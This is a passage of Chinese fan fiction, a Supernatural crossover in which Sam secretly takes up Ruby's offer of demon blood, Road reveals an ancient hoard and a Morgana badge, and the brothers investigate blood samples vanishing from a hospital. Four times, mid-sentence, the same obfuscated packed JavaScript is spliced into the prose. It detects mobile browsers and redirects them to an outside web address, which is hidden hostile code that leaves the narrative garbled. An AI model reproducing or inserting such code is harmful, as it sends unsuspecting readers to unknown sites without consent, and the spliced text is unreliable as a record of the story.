“而且，不只是迪恩，你也在名单上。”提起萨姆的安全，露比的眉眼都柔和了下来。她伸手抚摸着萨姆的胸口，感受着掌心之下那颗热烈跳动的心脏，“你也是契约的一部分，恶魔的契约从来就是双向的。‘如果一个人不肯交付灵魂、妄图撕毁契约，恶魔就会十倍取回交易物品，百倍报复’——这一向是十字路口恶魔的行为准则。迪恩的‘交易物’，就是你的性命。” 露比的神色中有掩盖不住地担忧，“你们俩任何一个落单，都可能会有危险。如果你死了……你觉得迪恩会做什么？” 萨姆脑中冒出一个词——重蹈覆辙。 再往更深层的逻辑去想，萨姆自己事实上也是“义人血脉”，所以罗德所提到的那把钥匙，其实也可以是他。 之所以要费心让迪恩去那个做交易的十字路口，完全是因为萨姆先前的死亡是人类造成的死亡，地狱——莉莉丝无法拥有他的灵魂。 甚至——萨姆忍不住往更早的时间点回想。他们的父亲，约翰·温彻斯特的交易，会不会也是莉莉丝计划的一环。 否则，恶魔已经利用交通事故让他们父子三人都失去了战斗能力，为什么不直接补刀，而是要给他呼叫救护的机会？ 只不过，“义人血脉”来源于“坎贝尔”而非“温彻斯特”，所以他们的父亲不具备“钥匙”的资格。 越是回想，他越是觉得过去种种，皆非巧合。 甚至连所谓的“黄眼恶魔”，都是这套中套计划的一部分。 “……萨姆！”露比的声音唤回了他的意识，“地狱里的每一个恶魔都知道，温彻斯特兄弟是彼此的弱点，当你想要对付某一个的时候，总可以在另外一个人身上寻找突破口。萨姆——我知道你非常在意你哥哥，我也很在意你、我知道你。别让自己成为他的弱点，也别让其他恶魔用他来对付你。萨姆——你应该知道该如何选择的。” 她没有用尖锐的语气，但刻意放柔的声音却掩盖不了言语内容本身的严厉。 就像上一次露比说的一样，萨姆必须要在迪恩的怒火和迪恩的安全之间二选一。 如果、如果真的万不得已…… 他只知道，自己绝不会让迪恩再被拖去地狱！ “该说的，我都说了。至于究竟要怎么做，你自己决定吧——但是要记住，那不是一蹴而就的技术，等到危机真的到来之时，再要反悔就来不及了。你……好自为之。” 她说完最后一句话，干脆利落地消失在了巷角。 萨姆久久不能回神，思维又急又乱——如果只有迪恩，他尚且能想办法隐瞒，但罗德对恶魔的敏感让他极为担忧。 如果要和学露比口中的方式——啜饮恶魔之血，就必须得保证，罗德不会捅到迪恩那边去。 也就意味着，他得提前说服罗德。 但越是随性的人，就越难以说服，他得好好准备一下说辞才行。 直到返回医院，萨姆的状态都依然有些恍惚。 迪恩迫不及待地接过他手里的购物袋，在袋子里翻找着。 半晌，他停了下来，眼神直勾勾地平移到弟弟身上，“兄弟，我的派呢？” 萨姆这才回神，刚才光顾着纠结了露比了，完全忘了对一下货品，“额……抱歉迪恩，忘了。” “‘我忘了’。”迪恩阴阳地学了一嘴萨姆的语气，翻了个白眼，气哼哼地把汉堡取了出来。 罗德搅动着手里的麦旋风，左看看迪恩，右看看萨姆，“我说，你们两个——” “吃你的冰激凌！”迪恩赶紧截断了她的话，生怕她说出什么不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191436|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的东西，却丝毫没有注意到，旁边萨姆那心虚的眼神。 “嗯——给你买了两个口味，吃，赶紧吃。”萨姆也接话。罗德应该很熟悉恶魔的气息，虽然他特意在自己身上喷了点圣水，但依然害怕对方感觉到了什么，当着迪恩的面问出什么他回答不了的问题来。 兄弟俩，诡异地在欺瞒对方的方面，达成了共识。 迪恩甚至都没有想起来质问一句，萨姆记得买两个口味的麦旋风，但没记得给他买派。 “呵——谁能比你们俩更有意思？”也不知罗德究竟发现了没有，不再多说，只是将两个口味的冰激凌混在一起，戏谑的眼神挑逗在兄弟俩之间。 萨姆在大脑中快速审核了一下自己即将要说的话，确认没有破绽了才敢开口，“说起来，迪恩的身体复活，是不是说明恶魔就快找上门来了？” “咳咳——”迪恩嗓子一紧，正在吞咽的食物都哽住了，“额——什么？” “就是你的身体，迪恩。之前不是说，恶魔想要你的身体复活吗？现在复活了的话，肯定会想办法找上门来的吧？” 萨姆思来想去，这个结论都绝对不能隐瞒，在他说服罗德、熟练掌握那种“恶魔技术”之前，必须得做好防备。 只要瞒住他和露比的见面和露比想要他做的事就好了。 “哦、啊，额——嗯，对。”迪恩被吓得连蹦出数个单音节，差点以为萨姆发现了什么。他一点也不想让对方知道自己身体的排异。 萨姆的自责和担忧已经够多了，他也不想再徒增无意义的烦恼。 迪恩严肃起来，“他们随时会来。” 和萨姆相同，他也同样认为这时间需要提前准备的事。 只不过，和萨姆不同的是，他更担忧那张契约的第二个大项要求——如果他反抗契约，萨姆就会死。 但恶魔不能隔空夺人性命，这就意味着，萨姆很有可能也在接下来的地狱目标之列。 两人的神色都端正起来。 迪恩摸着脖子上的项坠，看向了萨姆。 “不，你戴好它，也带好那把枪。”萨姆一眼就看出了迪恩眼神的意味，对方想把那个可以对恶魔起效的武器交给他。在柯尔特枪的子弹用尽后，「圣洁」枪就成为了唯一一把可以直接伤害、甚至杀死恶魔的枪械，“恶魔多半是冲着你来的。” “不完全是，你也一定在名单上。”迪恩明确地指了出来。 “行了行了，就算力量连接挂在那个护身符上，「圣洁」也不是可以轻易转交的东西。而且——有什么好怕的？”罗德舀了一大口冰激凌入嘴，冰冷和甜腻刺激着她的口腔，愉悦感在她的身体中充盈，“要是有恶魔向来，就让他们来，我倒要看看谁敢打这个头阵。” 恶魔一拥而上，未必都会死在罗德手上——她毕竟不是纯战斗性，封印前的伤势未愈，她的状态也不是全盛。 但第一个来的、敢打在头阵上，一定会被挫骨扬灰。 就是不知道，哪个恶魔能有如此“牺牲精神”了。 37.第 37 章 37 这不是温彻斯特兄弟第一次面对这种随时可能带来生命危险的事件，就算是再谨慎，该来的也总会来，所以他们很早就学会了尽可能减少无意义的内耗。 更何况在他们的世界里，计划永远赶不上变化，安排了能安排的，剩下就交给随机应变。 等到该做的身体检查都排队做完，三人离开医院的时候，天已经擦黑。 迪恩按照惯例，寻找着附近的汽车旅馆和酒吧。 检查报告无法马上到手，若无意外，他们便得在这里停留几天。 在一个陌生的地方临时安置，温彻斯特可是轻车熟路。 但罗德却对汽车旅馆的环境极为排斥，“你们要是敢让我住到这里面来，我就把你们俩打包成团丢到地狱里去！” 汽车旅馆一向以便宜著称，为了降低成本，环境状况可想而知——烟味酒味香水味，还有不小的概率能在角落里找到一些旖旎的气息，连热水供应都极不稳定。 温彻斯特兄弟俩早就已经习惯了这种生活，但罗德哪受得了这种环境。 她宁愿开「门」住到诺亚方舟的废墟里去。 “我们的工作可没有报酬，只能付得起这个。” 迪恩倒是不回避这种窘迫。 实际上，汽车旅馆对颠沛流离的他们来说，都算得上是相当不错的选择。很多时候，在猎杀各类茶自然怪物时，他们只能在汽车站、麦当劳里对付几个小时，有时甚至只能宿在Impala里。 那样狭窄的汽车空间，不论是对萨姆还是对迪恩，都是相当逼仄的环境。 而他们俩也不是唯一过着这样几近于流浪汉生活的人。 猎人从来就不是一份正式职业——它没有报酬，却索取着大量的时间、精力和金钱，甚至让死亡的镰刀随时悬在头顶。 那些古老的传说、复杂的资料、各色的犯罪记录、窘迫的经济状况；他人的误解、警察的追捕、武器的非法改造、负面情绪的囤积、正常人际关系的崩塌，这些积攒起来的小小绝望充斥在猎人人生的各个角落。 比起那些可以为人津津乐道的精彩故事，窘迫和孤独才是大多数猎人生活的真是图景。 究竟是什么样的人，才会放任自己的一生都在这样的生活中沉浮？ 更多的知情人将猎杀怪物当作一份兼职，哪怕是鲍比，都有过属于自己的普通人人生。 但温彻斯特兄弟俩不同，他们从最记忆的起始，就已经身陷其中。 “啊——我差点忘了，现在没有教团给你们拨行动资金了。”罗德恍然大悟，先前是她一直忽略了这一点，还以为兄弟俩是有什么特殊癖好。 “‘行动资金’，哇哦，好小众的文字——我们的资金来源于信用卡欺｜诈和赌｜博。”迪恩在这方面练就了一身违法本领。 他还挺引以为傲的。 萨姆在这方面也是一把好手，甚至在一些酒吧里，兄弟俩还能一唱一和搞点台球局的“仙人跳”。 罗德眼睛一转，“这个问题很好解决的啊——” “你不能用你的能力去抢劫！”迪恩截断了她的话，严肃指出原则。 不可以去掏别人的钱包，也不可以控制酒店民宿的前台——这些“不可以”的核心在于，罗德的手段总是要影响人的精神，迪恩也完全不习惯和一个超自然力量长期共存。 “说得好像我就会这一招似的，”她狠狠地翻了个白眼，“以为谁都和你们似的，穷得能一眼看到底？” 她言语的指向性再明显不过了。 迪恩一愣，“……你不会是想说，你有钱吧？” 行走人间的恶魔很会享受是共识，但同样共识的是，恶魔的“享受”并不依赖金钱，而是依赖杀戮。 但罗德不是恶魔，诺亚的生存从来就不在地狱，而是在人类的空间内转生。 长期滞留人间，即使有诺亚方舟在，他们也一定有在人间的生存方式。 萨姆显然更快地想到了这点，他是对诺亚方舟有比较清晰认知的，那里的房间确实形式各异。以他的眼力，就已经能认出不少可以放进博物馆的东西。 “那要看你想要哪个年代的钱了。”罗德打了个响指，悬浮在空的「门」一闪一开，纸质货币和硬币倾泻而下，砸在了迪恩的头上，甚至将他埋了起来。 “唔——！” 萨姆的成绩相当好，一眼扫过去就能认出几种不同年代的英镑、法郎和荷兰盾。当然，硬币的种类就更多了，其中一块拳头大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219926|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄金更是在他脚边的地面上砸出了一个深坑。 罗德绝对称得上一句“富婆”。 “诶，这个东西原来混在这里面了啊，难怪我之前找不到。”她蹲下身来，从硬币堆里摸出一个明显要大一圈的金属徽章。多年的蒙尘似乎让它有些褪色，罗德用自己的能力一激，金属便像是有生命一样，银色的光沿着徽章纹路扫过，翅膀和利爪显然拼成了一条剑纹烧身的巨龙。 在阳光下，徽章仿佛真的在燃烧一样，“肯定是加斯戴比那两个家伙翻了我的收藏，才把它丢到了钱堆里——就数他们俩最淘气了！” 这显然不是凡物，萨姆不知怎么的，隐约能够感受到上面散发出来的能量波动，下意识便问出了声。 “你说这个啊——”罗德把徽章对准了太阳，感受着它温度的上升，“是别人付给我的报酬。” 她也不是第一次和人做交易了，“我想想，那得是多久之前了？” 能够在诺亚记忆里留下清晰痕迹的人可不多，而这个印象对罗德来说，也尤其深刻。那句设问的话更像是制造了一种抓马效果，“得是十几个世纪前，卡梅洛特时期的事了吧？这是一个法师换给我的东西。” 卡梅洛特—— 这个关键词无疑被迅速联络到了罗德名字上。 同时，萨姆手里捏着一个旧英镑，随着罗德言语中的时间点回溯，“你的卡梅洛特，是……亚瑟王的那个卡梅洛特？” 他儿时最喜欢听的故事绘本，亚瑟王与他的圆桌骑士。 “不，我是K——Kamelot，亚瑟的那个是C——Camelot。”罗德先是认真地指出了区别，但紧接着话锋一转，“但，也不能说没有联系吧？仔细看这个——” 罗德把徽章一翻，龙纹的反面，花体旧文写得并非是现代英语。但别说是萨姆这个学霸，就是迪恩都能把它翻译出来。 古代语言学习是每个猎人的必修课。 “卡梅洛特——”迪恩这辈子没试过被钱埋起来，有种别样的体验感，“C的Camelot。” 萨姆猛吸了一口凉气，幼年的他曾对亚瑟王的传说有过深刻的向往，“法师、卡梅洛特的法师——这个徽章的主人，难道就是，传说中的梅林！？” 38.第 38 章 38 迪恩完全没有萨姆那样的热情，“法师”和“交易”这两个词混在一起，让他狠狠地皱起了眉。 “不就是女巫吗？有什么好兴奋的。” 在猎人的概念里，“女巫”这个词并没有性别指向性，不论是男是女，和恶魔交易获取力量、使用巫术的人，都是女巫。 萨姆的心跳漏了一拍。 他当然知道，迪恩并不是在说他，但已经打定主意要用露比方法的他，本质上和女巫似乎也没什么区别。 迪恩这样对女巫的激烈厌恶，足以窥探他对那种行为的态度。 他不自觉地用手遮盖了自己的表情。 不知是不是因为心虚，他的话反而多了起来，“所以……交易，和恶魔交易能够获得力量的话，和诺亚也有相似的效果？传说中的梅林真实存在的话，也是用这样的方式获得力量的吗？” 他在试探罗德对此事的态度，想要瞒过迪恩，首先就得探清楚这一点。 “看清楚——正面，是卡梅洛特的名号，背面，是潘多拉贡的家徽，”罗德展示了一下徽章的两面，“梅林那家伙又不是潘多拉贡的族裔，徽章属于莫嘉娜，莫嘉娜·潘多拉贡——而且，旧法师和现在的女巫可不是一回事儿。” 说起新的超自然知识，兄弟俩倒是都很感兴趣。 这些看似没用的东西说不定什么时候就能派上用场，救他们一命。 罗德打开车门坐到车座上，看着兄弟俩趴在地上收拾那一地的钱币，倒是毫不吝啬这些知识，“虽然看起来相似，但法师和女巫完全不同。后者，按照迪恩的说法，是‘恶魔的婊|子’；但前者是天生的术士，你们熟知的灵媒就是法师的衍生后裔，只不过灵媒没有法师那样强大的力量，过去的法师大都信奉旧教密宗的女神，甚至有专门的种族，德鲁伊。” 迪恩挑眉，顺嘴开了个玩笑，“法师也玩魔兽世界？” “魔兽世界？那是什么，魔兽组建的世界？”罗德显然没有get到迪恩的意思。 “不，只是个游戏。”萨姆接话，“但现在，没听过有谁遇到过德鲁伊这种超自然生物。” “很正常，灭绝了嘛，我们诺亚不是也差点灭绝了吗，更何况是他们，谁会记得灭绝了的生物？德鲁伊不擅长战斗，却又多是天生的森林法师——你们或许不理解森林法师的含义，解释起来很麻烦，你们可以简单理解为，天生药人。他们的血肉骨皆可入药，治病延寿，甚至返老还童。这样理解是不是就简单很多了？稚子抱金过市，没了庇护，灭绝是迟早的事。”罗德在很早的时候，就看清了这一点。 “用血肉骨入药？”迪恩的嗓子一动，像是想要呕吐一样，“法师的衍生，也即是说，他们也是人类属态的、生物吧？” “说是种族，但其实就是一个人种。和不同的肤色一样，德鲁伊本来就是人类的一部分。”罗德笑眯眯地给出了答案，“你猜，是什么样的东西会捕杀他们直至灭绝？又是什么样的东西最初发现了他们的血肉骨可以入药的？” 萨姆的脸色也非常难看，“……人类自己。” 兄弟俩当然是捕杀超自然生物的猎人，但入药——这是另一个级别的行为。 只是想想，就让他们觉得恶心至极。 做出和恶魔一样的行为，人和恶魔又有何异？ “他们很值钱的，我记得以前还听过一种德鲁伊猎人，专门给贵族服务。” 至于服务什么，答案昭然若揭。 “食人，是会变成温迪戈的。” 迪恩艰难开口。 “温迪戈可没有寿命限制，岂不正好？”罗德的语气轻快，完全听不出她在讲如此可怕的事情，“而且食人不等于温迪戈，人类朝温迪戈的转化是需要极端契机的，否则这个怪物的数量早就藏不住了。” 温迪戈。 萨姆心神一荡，如果他用吸食恶魔血的方式来驱散恶魔，会不会终有一天也在某个极端条件下，转化成人类之外的东西？ 这天下总不会有白吃的午餐，这股潜在的力量，也来自于杀死他双亲和女友的恶魔。 他憎恶着这股力量。 不到万不得已，萨姆比任何人都清楚，自己不应该踏出那一步。 “你刚刚说的，德鲁伊是有庇护的？”迪恩果然还是有些好奇，“所以……法师？” 毕竟他做职业猎人也超过二十年了，不仅是他，就连他们父亲日记上都没有提起过“法师”。 这意味着，这个类型的力量很有可能也和德鲁伊一起灭绝了。 “是啊——法师和先知，但很可惜，他们两个是敌人。”罗德随手把徽章丢到了旁边，“陈年旧事，反正灭绝都灭绝了，德鲁伊是肯定不在你们俩的狩猎名单上了，赶紧给我找地方休息，不然我可就要生气了！” 她还故意鼓起了脸，展示自己的怒火。 这些钱币是有价值、很值钱，但——这么晚了，它们却不可能马上折现。 还是迪恩，从后备箱的盒子里，摸了张尚未用过的信用卡。 信用卡额度虽然不足以支撑星级酒店的消费，但找个比汽车旅馆干净的地方却并不困难。 重获新生的迪恩睡得很熟，萨姆就不一样了，他一秒钟都睡不着，彻夜思考着下一步行动—— 要不要接受露比的建议？ 要怎么封罗德的口，让她不要告诉迪恩？ 要如何悄无声息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233623|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地干掉恶魔、干掉莉莉丝，消除后顾之忧？ 这些可都不是头脑一热就能解决的问题。 萨姆站在窗前，看着晨光破晓的天空，暖调的色彩根本无法驱散彻夜的寒意，让他手脚冰凉。背后的迪恩似乎也睡不安稳，整夜都时不时会发出一点压抑的闷哼声。 地狱对他的影响，根本无法消除。 他透过窗户的倒影看着迪恩松不开的眉头。 就是现在、就是这一刻，就是这一点点微不可闻的闷哼声和蹙紧的眉尖，萨姆下定了决心。 他无论如何都得阻止那种事再发生一次，他无论如何也要排除掉恶魔的威胁、排除掉莉莉丝的风险，哪怕是要用这种戕害了他们人生的力量也在所不惜。 萨姆是个执行力很强的人，一旦下定决心，就会马上开始安排执行策略。 他趁着晨跑的习惯在外联络了露比，先把这个决定告诉了她。 后者当然是喜出望外，恨不得马上就把自己的血喂到萨姆的嘴里。 但，在此之前，他还得想好对罗德的说辞。 不过，人总是有侥幸心理的。萨姆不禁想，万一、万一罗德没有这样明确的感知呢？ 露比也看准时机，适时地透露给他一些地狱内的传闻。 “伤？” 萨姆可没有真的在罗德身上看到什么旧伤。 “我也只是听说，否则莉莉丝不敢朝她派人。”露比没有说得特别肯定，但用此来动摇萨姆却足够了。 如果罗德有旧伤，那情况就比想象当中更加危险，露比思索着开口，“而且，如果不是有伤的话，她的能力……应该不会轻易被封印才对吧？” 这段时间，她也没有闲着，把能探听到的和罗德有关的消息都探了个遍，整理出来一些有用的，都转告到了萨姆耳朵里。 地狱中不少恶魔，对诺亚是有认知的。 “我知道了。” 他接过露比递来的瓶子，里面装着数量不多的恶魔血。 “开始时不能食用太多，一滴两滴就够了。可能会有一点不良反应，比如发热、眩晕，但症状时间不会太长，如果你要在迪恩身边，最好是晚上尝试。”露比关切道。 “我知道。” 萨姆握紧了巴掌大的金属瓶身，瓶外的刻纹是露比特地准备的，用来隔绝恶魔的气息，防止被罗德发现。 至于萨姆自己身上可能存在的恶魔血味——他被阿扎泽尔喂过血这件事，迪恩是知道的。 万一泄露，就先用这个理由顶上，再找机会和罗德摊牌吧。 今晚、就今晚。 他要尽快把自己这道防线建立起来——赶在任何恶魔敢来之前，建立起来。 39.第 39 章 39 迪恩从噩梦中惊醒。 他猛然坐起身，用力地搓着手臂。 梦境里那种被寒冰包裹的感觉太过真实，让他仿佛真的回到了阿拉斯泰尔的刑场，各种拟态主题的酷刑层出不穷，不断刷新着他的想象。 心脏努力地跳动，催促着肺尽可能地扩张，但呼吸却又在嗓子中受阻，仿佛阻断了对大脑的输氧，让迪恩的额头青筋迸起。 他无法向萨姆承认，自己那对地狱无可比拟的恐惧。 “嗡——” 手机震动的声音唤回了迪恩的理智，他抹去额头的冷汗，缓下了呼吸。 是个陌生号码。 “喂？” 他接起电话的同时，房门也被打开。 萨姆晨跑回来了。 “嗯，是我。”迪恩一边回应着电话，一边翻身下床，接过了早餐。这是他喜欢的芝士培根帕尼尼，他用肩耳夹着手机，迫不及待地拆着包装纸。 “什么！” 迪恩的声音骤然提高，连带着手上的动作都停了下来。 见此情形，萨姆把脱掉的运动上衣随手丢在床上，赶紧凑了过去，用嘴型无声地询问着情况。 “……好吧，”迪恩的声音降了下来，眼睛扫过壁挂的钟表，“昨晚十一点到现在，有八个小时——知道了，我马上过去，谢谢。” 手机一挂断，萨姆就迫不及待地开口，“什么情况，迪恩。” “医院的电话，”迪恩长舒了一口气，将噩梦带来的生理反应全部压了下去，“我昨天抽的那几管血丢失了。” “丢失？”萨姆皱眉。 他的口袋里装着露比提供的血瓶，血液对于许多超自然生物来说，都有不同寻常的作用，比如女巫，他们就常常将血液当作祭品。既然干着猎人的工作，兄弟俩自然就会对这样的“意外”更加敏感，萨姆担忧道，“迪恩，你觉得——” “我不知道，但医院的人说，丢失的血液样本不止我一个。也许是意外，也许不是。”迪恩仍然对噩梦心有余悸，一时间分不清楚胸口的焦虑是因为未竟的噩梦，还是他多年经验对超自然案的直觉，“去看看就知道了。” 他有些遗憾地放下了帕尼尼，抽血之前，他是不能吃东西了。 “我冲个澡换身衣服，”萨姆显然和迪恩想法一致，只是他身上还带着晨跑的汗渍，得收拾一下，“你正好把早饭带给罗德。” 罗德当然不会和兄弟俩住一个房间，但也不远，就在隔壁。 “我自己都还没吃。”迪恩委屈地摸着自己空瘪瘪的肚子，在萨姆关上浴室门前大声嘱咐，“喂，别把热水都用完了！” “……这不是汽车旅馆，热水不限量。” 真是汽车旅馆住多了，养成了习惯。 “那也快点，我饿了——早点抽完血，早点吃饭。” “知道了！” 萨姆打开喷头，摸上肥皂的手却是一顿。 他突然意识到，迪恩让他节水的言外之意，是也要冲澡的意思。 但迪恩早上可没有晨练。 “噩梦吗？” 噩梦带来的冷汗？ 萨姆似是有些敏感，他锁上浴室门，将露比血瓶的盖子拧开。封闭的空间里，瓶中的血液像是散发着一股甜味，不遗余力地勾引着萨姆。 萨姆嗓子一紧。 一向自律的他从来没有过这样迫切的饥渴感，让他某个瞬间甚至不愿等到夜幕降临，只想马上舔舐这些液体。 “呼——呼——” 他赶紧拧紧瓶盖，将这股气味隔绝开来。 淋浴打开——冰冷的水浸湿了他的头发，接着便沿发丝向下，流注在他脸上、身上。他这才注意到，自己的皮肤竟然热得发烫。 只是闻到了恶魔血液的味道，他的身体竟就如此兴奋。 可之前，在和其他恶魔战斗的时候——梅格、阿扎泽尔，在那些恶魔的血液之下，萨姆似乎也不曾有过类似的生理反应。 这是怎么回事？ “砰砰砰！” 浴室的敲门声打断了萨姆的思绪，即使知道自己锁了门，可还是有些慌乱地将露比血瓶藏在了身后。 来敲门的，自然只可能是迪恩。 “怎么？”萨姆的声音发闷。 不过隔着浴室门，迪恩倒没有注意到他声音情绪的异常，“罗德不在她房间。” 不在房间？ 这种时候、这个时间？ 罗德每天都恨不得都睡到日上三竿去，在Impala上的时间也至少有一半在休息。 不到八点，她竟然会出门？ 她恐怕不是去晨练的吧。 那就是有事。 现在这个形势，任何和恶魔能够联系起来的微妙指向，都会触动着兄弟二人的胡思乱想。 其实……也不算是胡思乱想，罗德当然不会做晨练这种事。 事实上，她也不是今晨才离开的，而是昨晚就不在那酒店的房间内。 “你不是说有恶魔在那兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260232|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟俩周围虎视眈眈吗，怎么还留在我这里？” 威尔·格雷厄姆的睡眠很少，几只狗狗的需求也让他的生活在极度不规律中，又保持着某些规律。 新来的温斯顿已经完美地融入了狗群中，并且展示出了属于边牧的惊人智慧。 威尔不明白，怎么会有人遗弃这样聪明乖巧又可爱的狗狗。 “他们的事，我有分寸。”罗德趴在沙发靠背上，眨巴着水露露的大眼睛，故作委屈，“倒是你，我可是专程来给你送东西的，你竟然还要赶我走？！” “不，我没有赶你，你拿着钥匙，随时都能来。”威尔当然知道罗德的出入实际上并不会被普通的门所阻挡。 但能不能进来是罗德的能力，想不想让她进来，是威尔的态度，“谢谢你的东西，很有用。” “好用吧，那可是莫嘉娜自己的护身符。”罗德得意地挺起了胸，昨日看到那个徽章她就马上想到了威尔，在诺亚方舟上没有找到的东西，竟然从那一堆钱币里掉了出来，“先知的预知梦无法自控，莫嘉娜曾经也是噩梦缠身，后来她逐渐掌握了自己的法力，才想办法做出了这样的护身符，仅此一个！” 这种护身符的复杂程度难以想象，可不是能量产的东西，“预知梦的本质是先知对未来的感知，威尔你的噩梦也来源于「智」之诺亚的特殊感知，异曲同工。就算这个护身符无法完全阻挡噩梦，也能让你睡得好一些。” 毕竟，她不能每晚都帮威尔编织梦境。 编织，就意味着潜入。 威尔的精神力尤在罗德之上，想要绕过他身为「智」的本能非常费劲。他的能力状态不稳定、精神状态又相当混乱，「梦」的力量不论如何伪装都带有攻击性，长时间的侵入可能会导致威尔的问题进一步恶化。 莫嘉娜的护身徽章就刚刚好。 威尔昨夜虽然短暂但是安稳的睡眠，也佐证了这一点。 “我的情况是好些。你呢，你的伤恢复得怎么样了？”威尔关切问道。 “还是那样，「圣心」对诺亚的伤不是轻易能够愈合的。我那时候受的是致命伤，否则亚连也不会用封印这种下策来救我，”提到这件事，罗德就有些挂脸，撑着下巴很是烦心，“不过……萨姆的灵魂还算好用，和他的契连能够缓解不少。” 那毕竟是同质的诺亚血脉，比其他不相干的灵魂要有效得多。 罗德一直待在温彻斯特兄弟身边，当然不可能是因为好心。 她看上去，像是那么善良的人吗？ 40.第 40 章 40 给迪恩抽血的，还是和昨天一样的面孔。 年轻的护士显然对迪恩这张靓丽的脸蛋和调情语言很有印象，竟是一眼就认出了他。 正常来说，一个人连续两天来做相同体检项目的情况，应该并不多见，但年轻的护士却没有对迪恩的二次抽血表现出任何困惑，反倒是有些习以为常了。 询问之下迪恩才知道，他不是今天第一个来补抽的人，也不是第一批丢失了抽血样本的人。 “你是说，这样的丢失很频繁？”他按住压在针口的棉签，假装不经意地问了一句。 这也不是什么秘密，迪恩恐怕也不是第一个问出这样问题的人。 护士小姐自然也没想着隐瞒什么，坦荡回答，“至少我转岗来的这半年就一直如此，但申请我们医院体检项目的人本来就多，血样丢失也没有规律，保安处更没有多余的人手能派到这边来，就是想预防也有心无力， 我们科室的肖特医生倒是尝试报过警，但这实在不是什么大事、也算不上什么损失，警察来问过之后也就没了音讯，最后也只能不了了之。真是林子大了可真是什么鸟都有，这种东西还能接连失窃……” 她只是浅浅抱怨了一句，这毕竟和只负责抽血的护士没有关系，所以她关注的也并不算多。 比起科室内失窃的逸闻，还是眼前的男人更有吸引力，“连续两天抽血可是伤身，你想要一点‘补身’的建议吗？” “那可再好不过了，我非常需要一点特殊的建议——”迪恩的泡妞天线迅速接收到了信号，DNA动了。 就算是恶魔追杀也不会影响他此时的心情，他压低的嗓音带着成熟男人的磁性，“不过，我想不能打扰白衣天使的工作……你几点下班来着？” * 萨姆放下和罗德的通话，一转身就见迪恩自得地向他展示纸上的一串手机号码——号码的尾端还画了一颗爱心，用途显而易见。 “真的？这个时候？你还有心思干这个？”萨姆嘴巴一抿，就给迪恩甩了个Bitch脸，又是无语又是无奈，“你才进去像是……三分钟？” “三分钟就够了。” 迪恩挑动着眉毛，得意洋洋的样子看起来甚是欠揍，“你得知道，护士小姐们的工作压力很大，她们需要一点释放，而我——恰好是‘专家’。” “是啊，专——家。” 萨姆拖长的音调多少显得有点反讽的意味，“这确实是你的专业。” “你太无趣了，萨米。就算是世界末日，我们也有权利给自己找点乐子——Cheer up。”他对萨姆这副表情的抵抗力满分，一点不受影响地表示，“没听罗德说吗，我这个身体复活之后可是处子——处·子，你知道这多刺激吗？” “停——我不想知道，我对‘刺激’没有一点兴趣！”萨姆翻了个白眼，一点也不想知道迪恩某些生活的细节感受，赶紧把话题扯回来，说起来了正事，“除了她的电话号码，你还有什么收获吗？” “嘿！我被冒犯了，号码只是个美好的礼物，我有好好地在做我的工作，好吗。”迪恩假作严肃，很快也进入了猎人办案的状态，“好吧，我们想得没错，这事儿果然不是第一次发生了。至少持续了半年，但没什么人重视。昨天那一批样本除我之外，还有两个丢失的——喏，人在那儿。” 迪恩指向另外一个抽血窗口，“我昨天见过他们。” “有什么异常？” “不，他们都是正常的普通人。”他顿了一下，显然是已经找机会和那二人聊过，“但，他们还真和我有个共同点——” “什么？” “我们都是外地人。” 萨姆脑子转得很快，“特价体检？” “没错，我们都是冲着这个来的。贪小便宜，申请了这个医院的‘特色’。” 任何医疗消费都不便宜，但这家医院似乎有来自匿名慈善的专项基金，用来帮助普通人检查自己的身体。 迪恩自己也是冲着这点来的，申请填下去，折扣几乎能报销九成花费，“果然，免费的才是最贵的。” 如果没有这个“九折体检”的前提，血液丢失或许还有一丁点意外的可能。 可现在…… “我们得查查之前血液丢失人的情况。” 迪恩点头，和萨姆的思路一样，他得意地扬了扬手里的号码，“我正好有条门路，只要等妮娜下班就够了。” 如果他有尾巴，这时一定已经翘过了头顶。 